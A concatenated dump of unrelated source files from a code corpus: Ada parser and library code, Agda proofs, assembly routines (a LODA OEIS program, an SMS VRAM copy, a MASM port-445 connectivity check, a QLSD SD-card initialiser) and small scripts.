Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11));
when 2174 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (7),
Nodes (8));
when 2175 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
No_Token,
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
None,
Nodes (6));
when 2176 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10));
when 2177 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (5),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (6),
Nodes (7));
when 2178 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
(Self.Factory.Aspect_Specification_Sequence),
No_Token,
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
None,
Nodes (5));
when 2179 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10));
when 2180 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
Nodes (4),
Nodes (5),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (6),
Nodes (7));
when 2181 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
Nodes (4),
No_Token,
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
None,
Nodes (5));
when 2182 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9));
when 2183 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (5),
Nodes (6));
when 2184 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
(Self.Factory.Aspect_Specification_Sequence),
No_Token,
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
None,
Nodes (4));
when 2185 =>
declare
Item : constant Node :=
Self.Factory.Terminate_Alternative_Statement
(Nodes (1), Nodes (2));
List : Node := Self.Factory.Statement_Sequence;
begin
Self.Factory.Append_Statement
(List, Item);
Nodes (1) := List;
end;
when 2186 =>
null;
when 2187 =>
null;
when 2188 =>
null;
when 2189 =>
null;
when 2190 =>
null;
when 2191 =>
null;
when 2192 =>
null;
when 2193 =>
null;
when 2194 =>
null;
when 2195 =>
null;
when 2196 =>
null;
when 2197 =>
declare
List : Node :=
Nodes (4);
begin
Self.Factory.Prepend_Subtype_Mark
(List, Nodes (3));
Nodes (1) := Self.Factory.
Unconstrained_Array_Definition
(Nodes (1),
Nodes (2),
List,
Nodes (5),
Nodes (6),
Nodes (7));
end;
when 2198 =>
declare
List : Node :=
Self.Factory.
Subtype_Mark_Sequence;
begin
Self.Factory.Prepend_Subtype_Mark
(List, Nodes (3));
Nodes (1) := Self.Factory.
Unconstrained_Array_Definition
(Nodes (1),
Nodes (2),
List,
Nodes (4),
Nodes (5),
Nodes (6));
end;
when 2199 =>
Nodes (1) := Self.Factory.Unknown_Discriminant_Part
(Nodes (1), Nodes (2), Nodes (3));
when 2200 =>
null;
when 2201 =>
null;
when 2202 =>
null;
when 2203 =>
null;
when 2204 =>
null;
when 2205 =>
null;
when 2206 =>
null;
when 2207 =>
null;
when 2208 =>
null;
when 2209 =>
null;
when 2210 =>
null;
when 2211 =>
null;
when 2212 =>
null;
when 2213 =>
null;
when 2214 =>
null;
when 2215 =>
null;
when 2216 =>
null;
when 2217 =>
null;
when 2218 =>
null;
when 2219 =>
null;
when 2220 =>
null;
when 2221 =>
declare
List : Node := Nodes (3);
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (2));
Nodes (1) :=
Self.Factory.Use_Package_Clause
(Nodes (1),
List,
Nodes (4));
end;
when 2222 =>
declare
List : Node := Self.
Factory.Program_Unit_Name_Sequence;
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (2));
Nodes (1) :=
Self.Factory.Use_Package_Clause
(Nodes (1),
List,
Nodes (3));
end;
when 2223 =>
declare
List : Node := Nodes (5);
begin
Self.Factory.Prepend_Subtype_Mark
(List, Nodes (4));
Nodes (1) :=
Self.Factory.Use_Type_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
List,
Nodes (6));
end;
when 2224 =>
declare
List : Node := Self.
Factory.Subtype_Mark_Sequence;
begin
Self.Factory.Prepend_Subtype_Mark
(List, Nodes (4));
Nodes (1) :=
Self.Factory.Use_Type_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
List,
Nodes (5));
end;
when 2225 =>
declare
List : Node := Nodes (4);
begin
Self.Factory.Prepend_Subtype_Mark
(List, Nodes (3));
Nodes (1) :=
Self.Factory.Use_Type_Clause
(Nodes (1),
No_Token,
Nodes (2),
List,
Nodes (5));
end;
when 2226 =>
declare
List : Node := Self.
Factory.Subtype_Mark_Sequence;
begin
Self.Factory.Prepend_Subtype_Mark
(List, Nodes (3));
Nodes (1) :=
Self.Factory.Use_Type_Clause
(Nodes (1),
No_Token,
Nodes (2),
List,
Nodes (4));
end;
when 2227 =>
Nodes (1) := Self.Factory.Variant
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2228 =>
declare
List : Node := Nodes (1);
begin
Self.Factory.Append_Variant
(List, Nodes (2));
Nodes (1) := List;
end;
when 2229 =>
declare
List : Node := Self.
Factory.Variant_Sequence;
begin
Self.Factory.Append_Variant
(List, Nodes (1));
Nodes (1) := List;
end;
when 2230 =>
declare
List : Node :=
Nodes (5);
begin
Self.Factory.Prepend_Variant
(List, Nodes (4));
Nodes (1) := Self.Factory.Variant_Part
(Nodes (1),
Nodes (2),
Nodes (3),
List,
Nodes (6),
Nodes (7),
Nodes (8));
end;
when 2231 =>
declare
List : Node :=
Self.Factory.Variant_Sequence;
begin
Self.Factory.Prepend_Variant
(List, Nodes (4));
Nodes (1) := Self.Factory.Variant_Part
(Nodes (1),
Nodes (2),
Nodes (3),
List,
Nodes (5),
Nodes (6),
Nodes (7));
end;
when 2232 =>
declare
List : Node := Nodes (5);
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (4));
Nodes (1) :=
Self.Factory.With_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
List,
Nodes (6));
end;
when 2233 =>
declare
List : Node := Self.
Factory.Program_Unit_Name_Sequence;
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (4));
Nodes (1) :=
Self.Factory.With_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
List,
Nodes (5));
end;
when 2234 =>
declare
List : Node := Nodes (4);
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (3));
Nodes (1) :=
Self.Factory.With_Clause
(Nodes (1),
No_Token,
Nodes (2),
List,
Nodes (5));
end;
when 2235 =>
declare
List : Node := Self.
Factory.Program_Unit_Name_Sequence;
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (3));
Nodes (1) :=
Self.Factory.With_Clause
(Nodes (1),
No_Token,
Nodes (2),
List,
Nodes (4));
end;
when 2236 =>
declare
List : Node := Nodes (4);
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (3));
Nodes (1) :=
Self.Factory.With_Clause
(No_Token,
Nodes (1),
Nodes (2),
List,
Nodes (5));
end;
when 2237 =>
declare
List : Node := Self.
Factory.Program_Unit_Name_Sequence;
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (3));
Nodes (1) :=
Self.Factory.With_Clause
(No_Token,
Nodes (1),
Nodes (2),
List,
Nodes (4));
end;
when 2238 =>
declare
List : Node := Nodes (3);
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (2));
Nodes (1) :=
Self.Factory.With_Clause
(No_Token,
No_Token,
Nodes (1),
List,
Nodes (4));
end;
when 2239 =>
declare
List : Node := Self.
Factory.Program_Unit_Name_Sequence;
begin
Self.Factory.Prepend_Program_Unit_Name
(List, Nodes (2));
Nodes (1) :=
Self.Factory.With_Clause
(No_Token,
No_Token,
Nodes (1),
List,
Nodes (3));
end;
when others =>
raise Constraint_Error;
end case;
end Program.Parsers.On_Reduce_2001;
|
tools-src/gnu/gcc/gcc/ada/g-locfil.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 28660 | <gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . L O C K _ F I L E S --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1995-2001 Ada Core Technologies, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT is maintained by Ada Core Technologies Inc (http://www.gnat.com). --
-- --
------------------------------------------------------------------------------
-- This package contains the necessary routines for using files for the
-- purpose of providing realiable system wide locking capability.
package GNAT.Lock_Files is
pragma Preelaborate;
Lock_Error : exception;
-- Exception raised if file cannot be locked
procedure Lock_File
(Directory : String;
Lock_File_Name : String;
Wait : Duration := 1.0;
Retries : Natural := Natural'Last);
-- Create a lock file Lock_File_Name in directory Directory. If the file
-- cannot be locked because someone already owns the lock, this procedure
-- waits Wait seconds and retries at most Retries times. If the file
-- still cannot be locked, Lock_Error is raised. The default is to try
-- every second, almost forever (Natural'Last times).
procedure Lock_File
(Lock_File_Name : String;
Wait : Duration := 1.0;
Retries : Natural := Natural'Last);
-- See above. The full lock file path is given as one string.
procedure Unlock_File (Directory : String; Lock_File_Name : String);
-- Unlock a file
procedure Unlock_File (Lock_File_Name : String);
-- Unlock a file whose full path is given in Lock_File_Name
end GNAT.Lock_Files;
|
programs/oeis/182/A182512.asm | neoneye/loda | 22 | 102709 | <gh_stars>10-100
; A182512: a(n) = (16^n - 1)/5.
; 0,3,51,819,13107,209715,3355443,53687091,858993459,13743895347,219902325555,3518437208883,56294995342131,900719925474099,14411518807585587,230584300921369395,3689348814741910323,59029581035870565171,944473296573929042739,15111572745182864683827,241785163922925834941235,3868562622766813359059763,61897001964269013744956211,990352031428304219919299379,15845632502852867518708790067,253530120045645880299340641075,4056481920730334084789450257203,64903710731685345356631204115251,1038459371706965525706099265844019,16615349947311448411297588253504307,265845599156983174580761412056068915
mov $1,16
pow $1,$0
div $1,15
mul $1,3
mov $0,$1
|
other.7z/SFC.7z/SFC/ソースデータ/FZERO/FZERO/Game/set_bg2.asm | prismotizm/gigaleak | 46 | 22896 | Name: set_bg2.asm
Type: file
Size: 46251
Last-Modified: '2000-11-08T02:03:12Z'
SHA-1: C68C47C1917FF48C7339AA3965CBCED60E5D575A
Description: null
|
src/ada/src/uxas-comms-lmcp_net_client-service-route_aggregation.ads | pat-rogers/OpenUxAS | 0 | 4703 | <reponame>pat-rogers/OpenUxAS<gh_stars>0
with DOM.Core;
with Route_Aggregator; use Route_Aggregator;
with Route_Aggregator_Communication; use Route_Aggregator_Communication;
with Route_Aggregator_Common; use Route_Aggregator_Common;
with Ada.Containers.Ordered_Maps;
with Ada.Containers.Ordered_Sets;
with AVTAS.LMCP.Types;
with AFRL.CMASI.EntityState; use AFRL.CMASI.EntityState;
with Afrl.Cmasi.EntityConfiguration; use Afrl.Cmasi.EntityConfiguration;
with Uxas.Messages.Lmcptask.UniqueAutomationRequest; use Uxas.Messages.Lmcptask.UniqueAutomationRequest;
with UxAS.Messages.Lmcptask.TaskPlanOptions; use UxAS.Messages.Lmcptask.TaskPlanOptions;
package UxAS.Comms.LMCP_Net_Client.Service.Route_Aggregation is
type Route_Aggregator_Service is new Service_Base with private;
Type_Name : constant String := "RouteAggregatorService";
Directory_Name : constant String := "";
-- static const std::vector<std::string>
-- s_registryServiceTypeNames()
function Registry_Service_Type_Names return Service_Type_Names_List;
-- static ServiceBase*
-- create()
function Create return Any_Service;
private
type Route_Aggregator_Service is new Service_Base with record
-- the following types are defined in SPARK code
Mailbox : Route_Aggregator_Mailbox;
State : Route_Aggregator_State;
Config : Route_Aggregator_Configuration_Data;
end record;
overriding
procedure Configure
(This : in out Route_Aggregator_Service;
XML_Node : DOM.Core.Element;
Result : out Boolean);
overriding
procedure Initialize
(This : in out Route_Aggregator_Service;
Result : out Boolean);
overriding
procedure Process_Received_LMCP_Message
(This : in out Route_Aggregator_Service;
Received_Message : not null Any_LMCP_Message;
Should_Terminate : out Boolean);
end UxAS.Comms.LMCP_Net_Client.Service.Route_Aggregation;
|
WinSock.asm | MichaelEvanchik/OpenPortTest | 1 | 3531 | .386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\wsock32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
.data
usage db " ",13,10,\
usage2 db "[*] Usage: p.exe <ip> [*]",13,10,\
"[*] Example: detect 192.168.1.1 [*]",13,10,0
STARTme db "[+] Finding Host %s",0Dh,0Ah,0
HostYay db "[+] Connected to %s",0Dh,0Ah,0
HostErr db "[-] Cannot connect to %s",0Dh,0Ah,0
LoginRcv db "[+] %s",0Dh,0Ah,0
.data?
IPAddress db 128 dup(?)
buffer db 128 dup(?)
sock dd ?
sin sockaddr_in <?>
wsadata WSADATA <?>
buff_sock db 1600 dup (?)
.code
@@start:
invoke GetCL, 1, addr IPAddress
cmp eax, 1
jnz @@usage
invoke StdOut, addr usage
invoke WSAStartup, 101h, offset wsadata
test eax, eax
jnz @@start
invoke socket, AF_INET, SOCK_STREAM, 0
mov sock, eax
mov sin.sin_family, AF_INET
invoke htons, 445
mov sin.sin_port, ax
invoke inet_addr, addr IPAddress
mov sin.sin_addr, eax
invoke wsprintf, addr buffer, addr STARTme, addr IPAddress
invoke StdOut, addr buffer
invoke connect, sock, addr sin, sizeof sin
cmp eax, SOCKET_ERROR
jz @@connect_err
invoke wsprintf,addr buffer,addr HostYay,addr IPAddress
invoke StdOut, addr buffer
invoke closesocket, sock
invoke WSACleanup
invoke ExitProcess, 0
@@connect_err:
invoke wsprintf,addr buffer,addr HostErr,addr IPAddress
invoke StdOut,addr buffer
@@usage:
invoke StdOut, addr usage
invoke StdOut, addr usage2
@@err:
invoke closesocket, sock
invoke WSACleanup
invoke ExitProcess, 0
ret
end @@start
|
libsrc/_DEVELOPMENT/arch/sms/z80/asm_sms_ldir_vram_to_vram.asm | grancier/z180 | 0 | 4052 | ; ========================================================================
;
; void *sms_ldir_vram_to_vram(void *dst, void *src, unsigned int n)
;
; memcpy within vram; ; VRAM addresses are assumed to be stable.
;
; ========================================================================
SECTION code_clib
SECTION code_crt_common
PUBLIC asm_sms_ldir_vram_to_vram
asm_sms_ldir_vram_to_vram:
; memcpy within vram
;
; enter : hl = void *src in vram
; de = void *dst in vram
; bc = unsigned int n > 0
;
; exit : hl = void *src, &byte after last read
; de = void *dst, &byte after last written
;
; uses : af, bc, de, hl, af'
loop:
ld a,l
out ($bf),a
ld a,h
out ($bf),a
in a,($be)
ex af,af'
ld a,e
out ($bf),a
ld a,d
or $40
out ($bf),a
ex af,af'
out ($be),a
inc de
cpi
jp pe, loop
ret
|
programs/oeis/115/A115274.asm | neoneye/loda | 22 | 160496 | ; A115274: a(n) = n + A115273(n), where A115273(n) = 0 for n = 1..3.
; 1,2,3,5,7,6,9,12,9,13,17,12,17,22,15,21,27,18,25,32,21,29,37,24,33,42,27,37,47,30,41,52,33,45,57,36,49,62,39,53,67,42,57,72,45,61,77,48,65,82,51,69,87,54,73,92,57,77,97,60,81,102,63,85,107,66,89,112,69,93,117,72,97,122,75,101,127,78,105,132,81,109,137,84,113,142,87,117,147,90,121,152,93,125,157,96,129,162,99,133
add $0,1
mov $1,$0
lpb $1
add $0,$1
sub $1,3
add $2,3
sub $0,$2
lpe
|
ada/core/demo/animal.adb | auzkok/libagar | 286 | 20501 | with Ada.Text_IO;
----------------------------
-- Agar(Object) -> Animal --
----------------------------
--
-- Ada implementation of the Agar object class "Animal".
--
package body Animal is
package C_obj is new System.Address_To_Access_Conversions (Animal);
package T_IO renames Ada.Text_IO;
function Create_Class return OBJ.Class_Not_Null_Access is
begin
--
-- Register our "Animal" class with the Agar object system.
--
Generic_Object_Class := OBJ.Create_Class
(Hierarchy => "Animal",
Object_Size => Animal'Size,
Class_Size => Animal_Class'Size,
Major => 1,
Minor => 2,
Init_Func => Init'Access,
Destroy_Func => Destroy'Access,
Load_Func => Load'Access,
Save_Func => Save'Access);
--
-- Initialize our derived class description structure. This will be
-- shared between all instances of Animal.
--
Animal_Object_Class := C_cls.To_Pointer(Generic_Object_Class.all'Address);
Animal_Object_Class.Ecological_Group := Undefined;
Animal_Object_Class.Description := (others => '_');
return Generic_Object_Class;
end;
procedure Destroy_Class is
begin
OBJ.Destroy_Class (Generic_Object_Class);
Generic_Object_Class := null;
Animal_Object_Class := null;
end;
--
-- Initialize an instance of the Animal class.
--
procedure Init (Object : OBJ.Object_Access)
is
Ani : constant C_obj.Object_Pointer := C_obj.To_Pointer(Object.all'Address);
begin
T_IO.Put_Line("Animal init");
Ani.Age := 123;
Ani.Exp := 11111;
Ani.Name := "Here is Ada string! ";
Ani.Bio := (others => 'x');
Ani.X := 3.14159265358979323846;
Ani.Y := 3.40282346638528860e+38;
Ani.Z := -1.0;
end;
--
-- Release all resources allocated by an instance of Animal.
--
procedure Destroy (Object : OBJ.Object_Access)
is begin
T_IO.Put_Line("Animal destroy");
end;
--
-- Serialize an Animal to a machine-independent format.
--
function Save
(Object : OBJ.Object_Access;
Dest : DS.Data_Source_Access) return C.int
is
Ani : constant C_obj.Object_Pointer := C_obj.To_Pointer(Object.all'Address);
begin
DS.Write_Unsigned_8 (Dest, Ani.Age);
DS.Write_Unsigned_16 (Dest, Ani.Exp);
DS.Write_Padded_String (Dest, Ani.Name, 40);
DS.Write_String (Dest, Ani.Bio);
DS.Write_Double (Dest, Ani.X);
DS.Write_Double (Dest, Ani.Y);
DS.Write_Double (Dest, Ani.Z);
return Success;
end;
--
-- Deserialize an Animal from machine-independent format.
--
function Load
(Object : OBJ.Object_Access;
Source : DS.Data_Source_Access;
Version : OBJ.Version_Access) return C.int
is
Ani : constant C_obj.Object_Pointer := C_obj.To_Pointer(Object.all'Address);
begin
Ani.Age := DS.Read_Unsigned_8 (Source);
Ani.Exp := DS.Read_Unsigned_16 (Source);
Ani.Name := DS.Read_Padded_String (Source, 40);
Ani.Bio := DS.Read_String (Source);
Ani.X := DS.Read_Double (Source);
Ani.Y := DS.Read_Double (Source);
Ani.Z := DS.Read_Double (Source);
return Success;
end;
end Animal;
|
exchange.agda | hazelgrove/hazelnut-agda | 0 | 1865 | <filename>exchange.agda
open import Prelude
open import Nat
open import dynamics-core
open import contexts
open import lemmas-disjointness
module exchange where
-- exchanging just two disequal elements produces the same context
swap-little : {A : Set} {x y : Nat} {τ1 τ2 : A} → (x ≠ y) →
((■ (x , τ1)) ,, (y , τ2)) == ((■ (y , τ2)) ,, (x , τ1))
swap-little {A} {x} {y} {τ1} {τ2} neq = ∪comm (■ (y , τ2))
(■ (x , τ1))
(disjoint-singles (flip neq))
-- really the dynamics-core of all the exchange arguments: contexts with two
-- disequal elements exchanged are the same. we reassociate the unions,
-- swap as above, and then associate them back.
--
-- note that this is generic in the contents of the context. the proofs
-- below show the exchange properties that we actually need in the
-- various other proofs; the remaning exchange properties for both Δ and
-- Γ positions for all the other hypothetical judgements are exactly in
-- this pattern.
swap : {A : Set} {x y : Nat} {τ1 τ2 : A} (Γ : A ctx) (x≠y : x == y → ⊥) →
((Γ ,, (x , τ1)) ,, (y , τ2)) == ((Γ ,, (y , τ2)) ,, (x , τ1))
swap {A} {x} {y} {τ1} {τ2} Γ neq = funext eq
where
eq : (z : Nat) → ((Γ ,, (x , τ1)) ,, (y , τ2)) z == ((Γ ,, (y , τ2)) ,, (x , τ1)) z
eq z with natEQ y z
... | Inr y≠z with natEQ x z
... | Inl refl = refl
... | Inr x≠z with natEQ y z
... | Inl refl = abort (y≠z refl)
... | Inr y≠z' = refl
eq z | Inl refl with natEQ x z
... | Inl refl = abort (neq refl)
... | Inr x≠z with natEQ z z
... | Inl refl = refl
... | Inr z≠z = abort (z≠z refl)
-- (∪assoc Γ (■ (x , τ1)) (■ (y , τ2)) (disjoint-singles neq)) ·
-- (ap1 (λ qq → Γ ∪ qq) (swap-little neq) ·
-- the above exchange principle used via transport in the judgements we needed
exchange-subst-Γ : ∀{Δ Γ x y τ1 τ2 σ Γ'} →
x ≠ y →
Δ , (Γ ,, (x , τ1) ,, (y , τ2)) ⊢ σ :s: Γ' →
Δ , (Γ ,, (y , τ2) ,, (x , τ1)) ⊢ σ :s: Γ'
exchange-subst-Γ {Δ} {Γ} {x} {y} {τ1} {τ2} {σ} {Γ'} x≠y =
tr (λ qq → Δ , qq ⊢ σ :s: Γ') (swap Γ x≠y)
exchange-synth : ∀{Γ x y τ τ1 τ2 e}
→ x ≠ y
→ (Γ ,, (x , τ1) ,, (y , τ2)) ⊢ e => τ
→ (Γ ,, (y , τ2) ,, (x , τ1)) ⊢ e => τ
exchange-synth {Γ} {x} {y} {τ} {τ1} {τ2} {e} neq =
tr (λ qq → qq ⊢ e => τ) (swap Γ neq)
exchange-ana : ∀{Γ x y τ τ1 τ2 e}
→ x ≠ y
→ (Γ ,, (x , τ1) ,, (y , τ2)) ⊢ e <= τ
→ (Γ ,, (y , τ2) ,, (x , τ1)) ⊢ e <= τ
exchange-ana {Γ} {x} {y} {τ} {τ1} {τ2} {e} neq =
tr (λ qq → qq ⊢ e <= τ) (swap Γ neq)
exchange-elab-synth : ∀{Γ x y τ1 τ2 e τ d Δ} →
x ≠ y →
(Γ ,, (x , τ1) ,, (y , τ2)) ⊢ e ⇒ τ ~> d ⊣ Δ →
(Γ ,, (y , τ2) ,, (x , τ1)) ⊢ e ⇒ τ ~> d ⊣ Δ
exchange-elab-synth {Γ = Γ} {e = e} {τ = τ} {d = d } {Δ = Δ} neq =
tr (λ qq → qq ⊢ e ⇒ τ ~> d ⊣ Δ) (swap Γ neq)
exchange-elab-ana : ∀ {Γ x y τ1 τ2 τ τ' d e Δ} →
x ≠ y →
(Γ ,, (x , τ1) ,, (y , τ2)) ⊢ e ⇐ τ ~> d :: τ' ⊣ Δ →
(Γ ,, (y , τ2) ,, (x , τ1)) ⊢ e ⇐ τ ~> d :: τ' ⊣ Δ
exchange-elab-ana {Γ = Γ} {τ = τ} {τ' = τ'} {d = d} {e = e} {Δ = Δ} neq =
tr (λ qq → qq ⊢ e ⇐ τ ~> d :: τ' ⊣ Δ) (swap Γ neq)
exchange-ta-Γ : ∀{Γ x y τ1 τ2 d τ Δ } →
x ≠ y →
Δ , (Γ ,, (x , τ1) ,, (y , τ2)) ⊢ d :: τ →
Δ , (Γ ,, (y , τ2) ,, (x , τ1)) ⊢ d :: τ
exchange-ta-Γ {Γ = Γ} {d = d} {τ = τ} {Δ = Δ} neq =
tr (λ qq → Δ , qq ⊢ d :: τ) (swap Γ neq)
|
GlanceTests/TestFiles/apple-script/example-jxa.applescript | dwandw/glance | 934 | 2462 | // This is a comment
const app = Application.currentApplication();
app.includeStandardAdditions = true;
app.displayAlert("Alert!");
|
tools/yasm/tests/nasm/equ.asm | fasttr-org/ftr | 0 | 175982 | <reponame>fasttr-org/ftr<gh_stars>0
mov ax,blah
shl ax,4-blah
blah equ 3
|
test/Succeed/QuotePatternLambda.agda | cruhland/agda | 1,989 | 12007 | <reponame>cruhland/agda
module _ where
open import Agda.Builtin.Reflection renaming (bindTC to _>>=_)
open import Agda.Builtin.Unit
open import Agda.Builtin.List
open import Agda.Builtin.Nat
open import Agda.Builtin.Equality
open import Agda.Builtin.Bool
_>>_ : {A B : Set} → TC A → TC B → TC B
m >> m₁ = m >>= λ _ → m₁
data Fin : Nat → Set where
zero : ∀ {n} → Fin (suc n)
suc : ∀ {n} → Fin n → Fin (suc n)
macro
reflectAndCheck : ∀ {a} {A : Set a} → A → Term → TC ⊤
reflectAndCheck {A = A} x hole = withNormalisation true do
`x ← quoteTC x
`A ← quoteTC A
``x ← checkType `x `A >>= quoteTC
unify hole ``x
quoteUnquote : ∀ {a} {A : Set a} → A → Term → TC ⊤
quoteUnquote x hole = withNormalisation true do
`x ← quoteTC x
unify hole `x
module _ (n : Nat) (A : Set) (m : Nat) (j : Fin m) where
plam₁ : Fin n → Fin m
plam₁ = λ where zero → j; (suc i) → j
`plam₁ : Term
`plam₁ = reflectAndCheck plam₁
plam₁′ : Fin n → Fin m
plam₁′ = quoteUnquote plam₁
refined₁ : n ≡ suc m → Nat
refined₁ refl = 0
where
plam : Fin n → Fin m
plam = λ where zero → j; (suc i) → i
`plam : Term
`plam = reflectAndCheck plam
plam′ : Fin n → Fin m
plam′ = quoteUnquote plam
refined₂ : m ≡ suc n → Nat
refined₂ refl = 0
where
plam : Fin n → Fin m
plam = λ where zero → j; (suc i) → suc (suc i)
`plam : Term
`plam = reflectAndCheck plam
plam′ : Fin n → Fin m
plam′ = quoteUnquote plam
|
dv3/qlsd/inicrd.asm | olifink/smsqe | 0 | 168551 | <gh_stars>0
; QLSD Initilaise an SHDC card (via bit-banging) 1.00 (C) <NAME> 2017
;
; 2018-06-11 1.01 Take the QLSD hardware lock before initialising card (MK)
section procs
xdef inicrd
include 'dev8_dv3_qlsd_keys'
include 'dev8_keys_qlv'
include 'dev8_keys_err'
include 'dev8_keys_sys'
; algo :
; put into spi mode
; cmd0
; cmd8
; cmd58
; cmd55
; cmd58
inireg reg d1/d2/d3/d5/a2/a6
;+++
; This routine initialises an sdhc card
; *** read/write via bit bang
;
; d5 c p card number (1...3)
; a3 c p driver linkage block
;
; status return 0, ERR.MCHK or ERR.FDIU
;---
inicrd andi.w #3,d5
beq.s err_ipar
movem.l inireg,-(a7)
move.l qlsd_sysvars(a3),a6 ; so caller doesn't have to provide it
move.l hdl_1sec(a3),d0 ; something like one second timeout
lock_wait
bset #7,sys_qlsd(a6) ; prevent poll from accessing device
beq.s lock_ok ; got the lock, proceed
subq.l #3,d0
bgt.s lock_wait
movem.l (a7)+,inireg
moveq #err.fdiu,d0 ; still in use, give up
rts
err_ipar
moveq #err.ipar,d0
rts
lock_ok
move.w #SPI_SELECT0,d3
add.w d5,d3
move.l #IF_BASE,a2 ; point to card physical addresses
; set interface to a known state
tst.b IF_RESET(a2) ; reset the IF
tst.b IF_ENABLE(a2) ; enable it
tst.b SPI_SELECT0(a2) ; deselect all
tst.b SPI_XFER_OFF(a2) ; use bitbang protocol
move.w sr,d0
trap #0
move.w d0,-(a7)
; now put I/F into SPI mode ; pretend to send many bytes, toggles clock
moveq #10,d2
inilp1 moveq #-1,d0
bsr sendbyte
dbf d2,inilp1
tst.b (a2,d3.w) ; select the card
; send cmd0 101 times or until correct response
moveq #100,d2 ; nbr of loop iterations +1
inilp2 move.l #$40000000,d0
move.w #$95,d1
bsr snd_cmd ; send command 0 - put to idle
bne.s lp2dbf ; command sending went wrong ->
subq.b #1,d1 ; sent OK, but correct response?
beq.s reply1 ; ... yes ->
lp2dbf dbf d2,inilp2 ; ... no, try again
bra ini_err ; if we get here, no correct answer from card
; here I got a valid reply , so cmd0 was successful
; now try to send command8
reply1
move.l #$48000001,d0 ; prepare cmd8
move.w #$aa87,d1
bsr snd_cmd ; send command 8, return 1 + 4 more bytes
bne ini_err ; ooos
cmp.b #1,d1 ; correct response?
bne ini_err ; no
bsr readbyte ; 2
bsr readbyte ; 3
bsr readbyte ; 4
move.b d0,d2 ; keep 4th response byte
bsr readbyte ; 5
cmp.b #1,d2 ; 4th response byte must be 1
bne ini_err ; but it isn't
cmp.b #$aa,d0 ; 5th response byte must be $aa
bne.s ini_err ; but is isn't
; here I got a correct reply from command8, now do command58
move.l #$7a000000,d0
move.w #$87,d1
bsr snd_cmd ; send command 58, 1 + 4 more bytes
bne.s ini_err ; oops on send command
